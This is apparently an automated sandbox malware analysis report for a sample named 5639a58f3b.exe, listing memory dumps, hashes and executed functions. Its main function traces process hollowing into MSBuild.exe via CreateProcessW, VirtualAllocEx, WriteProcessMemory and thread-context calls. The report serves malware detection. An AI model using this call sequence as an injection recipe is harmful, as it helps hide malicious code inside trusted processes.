Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 3393f9ae21ea2edc92e9213329ad5c6abd3c0eeeca0ee22a257219cdb880db47
Instruction ID: e773c5aa7cfdc2f1f78955c51148b1daffb4acbc5f82f06e5d12b97e441e7f33
Opcode Fuzzy Hash: 3393f9ae21ea2edc92e9213329ad5c6abd3c0eeeca0ee22a257219cdb880db47
Instruction Fuzzy Hash: D2E08C34840218B6CF66FB54D84BADC77EA9B11709F18C12AB811262939BB5978CDAC1

Analysis Process: 5639a58f3b.exePID: 6596, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 00DB519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00DB5110,00DB5100), ref: 00DB5334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00DB5347
Wow64GetThreadContext.KERNEL32(00000088,00000000), ref: 00DB5365
ReadProcessMemory.KERNELBASE(0000010C,?,00DB5154,00000004,00000000), ref: 00DB5389
VirtualAllocEx.KERNELBASE(0000010C,?,?,00003000,00000040), ref: 00DB53B4
WriteProcessMemory.KERNELBASE(0000010C,00000000,?,?,00000000,?), ref: 00DB540C
WriteProcessMemory.KERNELBASE(0000010C,00400000,?,?,00000000,?,00000028), ref: 00DB5457
WriteProcessMemory.KERNELBASE(0000010C,?,?,00000004,00000000), ref: 00DB5495
Wow64SetThreadContext.KERNEL32(00000088,00190000), ref: 00DB54D1
ResumeThread.KERNELBASE(00000088), ref: 00DB54E0

Strings

WriteProcessMemory, xrefs: 00DB52AF
CreateProcessW, xrefs: 00DB5250
ResumeThread, xrefs: 00DB52D8
VirtualAllocEx, xrefs: 00DB529C
GetP, xrefs: 00DB521E
SetThreadContext, xrefs: 00DB52C2
ReadProcessMemory, xrefs: 00DB5289
VirtualAlloc, xrefs: 00DB5263
TerminateProcess, xrefs: 00DB53C3
ress, xrefs: 00DB5226
GetThreadContext, xrefs: 00DB5276
Load, xrefs: 00DB51DA
aryA, xrefs: 00DB51E2
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00DB5333

Memory Dump Source

Source File: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: c84a7884432f5415c748c626e77cc04a28ad60bba7695c789e702171f96b5b10
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 0DB1F77260064AEFDB60CF68CC80BDA73A5FF88714F158124EA09AB345D774FA51CBA4

Function 00D91614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D91098: _strlen.LIBCMT ref: 00D910F9

CreateFileA.KERNELBASE ref: 00D91675
GetFileSize.KERNEL32(00000000,00000000), ref: 00D91685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00D916AB
CloseHandle.KERNELBASE(00000000), ref: 00D916BA
_strlen.LIBCMT ref: 00D91705
CloseHandle.KERNEL32(00000000), ref: 00D91805

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 32d7dbac6a213fc8e405f5c02e412e6e7429e594e9b91a8712d92009f41be623
Instruction ID: 3d0211ecf7361905dfe551f0b975615fc969237d47d3b98ba95104533fd37399
Opcode Fuzzy Hash: 32d7dbac6a213fc8e405f5c02e412e6e7429e594e9b91a8712d92009f41be623
Instruction Fuzzy Hash: 4151DDB5908302EBDB00AF24DC84B2ABBE5FF88314F154A2DF88997351E734D9448B72

Function 00D9155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D91098: _strlen.LIBCMT ref: 00D910F9

FreeConsole.KERNELBASE ref: 00D9158B

Part of subcall function 00D9123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00D912C7

VirtualProtect.KERNELBASE(00DB5011,00000549,00000040,?), ref: 00D915D7
ExitProcess.KERNEL32 ref: 00D9160E

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: 31518abf3bd6abe829794102fbdbd918b21f7da3ca690d3ba6015d0220ce5415
Instruction ID: eb897ebe6d8a6a844b733b62f4b5b95991eb52a71885a18e2601b6bb5f6ec25a
Opcode Fuzzy Hash: 31518abf3bd6abe829794102fbdbd918b21f7da3ca690d3ba6015d0220ce5415
Instruction Fuzzy Hash: AA11A371A00209EBEB00BB65AC52BFF7768EF84710F444025F609EB385EA7599154BF5

Function 00D9123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 00D912C7

Strings

[+], xrefs: 00D912E1

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]
API String ID: 6842923-4228040803
Opcode ID: 1c9a84ae324317935b6448aaab2c9e82cfccd63f078215b65afd2386026037e0
Instruction ID: d9c024e2925dc2e33f047d9b67102d6e94abe0d244aa596e340aa5f2a7010560
Opcode Fuzzy Hash: 1c9a84ae324317935b6448aaab2c9e82cfccd63f078215b65afd2386026037e0
Instruction Fuzzy Hash: A631F73560C3818FDB26AB3468997EBBBD0ABBD318F18097DD8C987243D1615446CB72

Function 00DA5283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DA562D: GetConsoleOutputCP.KERNEL32(D54F2704,00000000,00000000,?), ref: 00DA5690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00D9BBF3,?), ref: 00DA5408
GetLastError.KERNEL32(?,?,00D9BBF3,?,00D9BE37,00000000,?,00000000,00D9BE37,?,?,?,00DB4628,0000002C,00D9BD23,?), ref: 00DA5412

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 3663a894f73e27f1858d68455c50b1611a836175b64dbdb65b8f84532f5f867a
Instruction ID: 634e242a5d0e4be6419920266901aa8d506db2e884819369fb9b4751086f5ba1
Opcode Fuzzy Hash: 3663a894f73e27f1858d68455c50b1611a836175b64dbdb65b8f84532f5f867a
Instruction Fuzzy Hash: 0961B372D00619EFDF11CFA8E844AEEBBB9EF5A304F180155E804A725AD3B5D941CB70

Function 00DA5A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00DA53EE,00000000,00D9BE37,?,00000000,?,00000000), ref: 00DA5AF8
GetLastError.KERNEL32(?,00DA53EE,00000000,00D9BE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00D9BBF3), ref: 00DA5B1E

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 4be024594254c099dbf496936abf202d80b63cce3802e192b6ea3745007ddf5b
Instruction ID: 59fbad6a55dd5544fc14a4f7c282efa8657231be060c66a4e4bb598f69bd928b
Opcode Fuzzy Hash: 4be024594254c099dbf496936abf202d80b63cce3802e192b6ea3745007ddf5b
Instruction Fuzzy Hash: 60217C31A00219DBCF19CF29E980AEDB7F9EB59301F2442A9E906D7215D630EE42CB71

Function 00D9FF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00D9FE78,00DB4948), ref: 00D9FFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00D9FE78,00DB4948), ref: 00D9FFE7

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: e4c769465b22e1dce0c022c36a1979b5bcb68ab4e4f3cc7ecae29e12305793be
Instruction ID: fcae1627d23b4fbdd6a3d461a3a1f5f48b4bedb29e303d04aead0844cdde6c1a
Opcode Fuzzy Hash: e4c769465b22e1dce0c022c36a1979b5bcb68ab4e4f3cc7ecae29e12305793be
Instruction Fuzzy Hash: 1711AF71604B518ACB304E3E9C88722BE95AB57335B3C072AD2F6C66F1C230D98AD675

Function 00D9136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00D91388

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: cdb0a5e5c2042df226b4ce344c07907f8481b5913b2578a4cd348fc816baeba8
Instruction ID: e9bef56697e44ead39b99844133029c82084084222cb5eba1f103de3fe0d1227
Opcode Fuzzy Hash: cdb0a5e5c2042df226b4ce344c07907f8481b5913b2578a4cd348fc816baeba8
Instruction Fuzzy Hash: 8B5191353042059FCB14DF6CC994B6A77D6EF88324F198668E969CB3D2D630ED05CB61

Function 00D93C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91f6c6d154d2aa63fe948350bd0a0f33e7c5985e9624916ab47621ff405d2675
Instruction ID: 3423a0377e47e462e81a00e137b298f0748c6914ba2a891fcedf3d7a40b37ceb
Opcode Fuzzy Hash: 91f6c6d154d2aa63fe948350bd0a0f33e7c5985e9624916ab47621ff405d2675
Instruction Fuzzy Hash: 8D31447260051AEFCF15DF68D8949EDB7B9FF09320B144265E512E7690DB31EA44CB70

Function 00D93C1B Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: efc8894ac086960bb12be442af5c7c0b57948e2317f12770bd353b9b72a405ee
Instruction ID: 1e879556f95700be68ec2634562f823018045dfecfd55713eac394fefdb6e33f
Opcode Fuzzy Hash: efc8894ac086960bb12be442af5c7c0b57948e2317f12770bd353b9b72a405ee
Instruction Fuzzy Hash: 180144367086166BCF059B78E9693A9BB60FF86338F24416FD0029A4C0CB229A20C630

Function 00D9E531 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00D931E1,00D9186A,?,00D960C1,00D9186C,00D9186A,?,?,?,00D93181,00D931E1,00D9186E,00D9186A,00D9186A,00D9186A), ref: 00D9E563

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c209783cad9e61b630f58e8abeb6703645e4403e39264bd306c1a4897848178e
Instruction ID: 9733a32e3a28b0b467e3c24f97ecadad305112fdfe940af63a33591f1f3d9292
Opcode Fuzzy Hash: c209783cad9e61b630f58e8abeb6703645e4403e39264bd306c1a4897848178e
Instruction Fuzzy Hash: 73E0ED31901220AAEF60EAA9AC00B6A3B48EF01BB8F1B0221EC4597191FF60CD0086F0

Non-executed Functions

Function 00DA3178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00DA2B49,00000002,00000000,?,?,?,00DA2B49,?,00000000), ref: 00DA3211
GetLocaleInfoW.KERNEL32(?,20001004,00DA2B49,00000002,00000000,?,?,?,00DA2B49,?,00000000), ref: 00DA323A
GetACP.KERNEL32(?,?,00DA2B49,?,00000000), ref: 00DA324F

Strings

ACP, xrefs: 00DA3196
OCP, xrefs: 00DA31CC

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: dc7b02bc7a504f091312e3e8e5fb95016b71851624fb01fb19e4e6789d61a4c3
Instruction ID: 4dbe900a0ce4a0417d15eaa410a928df5a243588c589a682a1a946832d031a1a
Opcode Fuzzy Hash: dc7b02bc7a504f091312e3e8e5fb95016b71851624fb01fb19e4e6789d61a4c3
Instruction Fuzzy Hash: F421AC32600200EADB348FA4D805BA7B7A7EF96F54B6A8525F90AD7210E732DF40D374

Function 00DA2A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00DA2B1B
IsValidCodePage.KERNEL32(00000000), ref: 00DA2B59
IsValidLocale.KERNEL32(?,00000001), ref: 00DA2B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00DA2BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00DA2BCF

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1db41d8ced2c68efb93eb4824350707cc8e832f0d1b4fd71372b4f05a342c3b7
